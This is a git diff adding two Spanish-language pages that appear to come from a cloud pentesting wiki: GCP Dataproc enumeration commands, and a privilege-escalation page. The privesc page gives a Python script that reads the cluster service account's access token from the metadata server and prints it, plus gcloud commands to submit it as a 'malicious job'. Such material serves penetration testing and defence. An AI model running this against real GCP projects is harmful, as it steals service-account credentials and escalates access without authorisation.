diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..908452c83 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +No pude obtener un shell inverso utilizando este método, sin embargo, es posible filtrar el token de SA desde el endpoint de metadatos utilizando el método descrito a continuación. + +#### Pasos para explotar + +- Coloca el script del trabajo en el GCP Bucket + +- Envía un trabajo a un clúster de Dataproc. + +- Usa el trabajo para acceder al servidor de metadatos. + +- Filtra el token de la cuenta de servicio utilizado por el clúster. +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..4f6f2130d --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Información Básica + +Google Cloud Dataproc es un servicio completamente gestionado para ejecutar Apache Spark, Apache Hadoop, Apache Flink y otros marcos de big data. Se utiliza principalmente para procesamiento de datos, consultas, aprendizaje automático y análisis de flujo. Dataproc permite a las organizaciones crear clústeres para computación distribuida con facilidad, integrándose sin problemas con otros servicios de Google Cloud Platform (GCP) como Cloud Storage, BigQuery y Cloud Monitoring. + +Los clústeres de Dataproc se ejecutan en máquinas virtuales (VMs), y la cuenta de servicio asociada con estas VMs determina los permisos y el nivel de acceso del clúster. + +## Componentes + +Un clúster de Dataproc típicamente incluye: + +Nodo Maestro: Gestiona los recursos del clúster y coordina las tareas distribuidas. + +Nodos Trabajadores: Ejecutan tareas distribuidas. + +Cuentas de Servicio: Manejan llamadas a la API y acceden a otros servicios de GCP. + +## Enumeración + +Los clústeres, trabajos y configuraciones de Dataproc pueden ser enumerados para recopilar información sensible, como cuentas de servicio, permisos y posibles configuraciones incorrectas. + +### Enumeración de Clústeres + +Para enumerar clústeres de Dataproc y recuperar sus detalles: +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### Enumeración de trabajos +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### Privesc + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}